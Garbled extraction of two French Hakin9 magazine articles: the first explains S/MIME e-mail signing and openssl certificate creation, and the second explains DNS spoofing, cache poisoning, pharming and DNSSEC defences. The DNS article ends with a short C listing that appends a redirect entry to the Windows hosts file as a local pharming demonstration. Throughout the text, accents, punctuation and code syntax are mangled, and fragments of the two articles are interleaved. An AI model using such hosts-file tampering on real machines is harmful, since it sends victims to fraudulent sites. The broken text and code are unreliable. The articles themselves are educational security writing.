privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

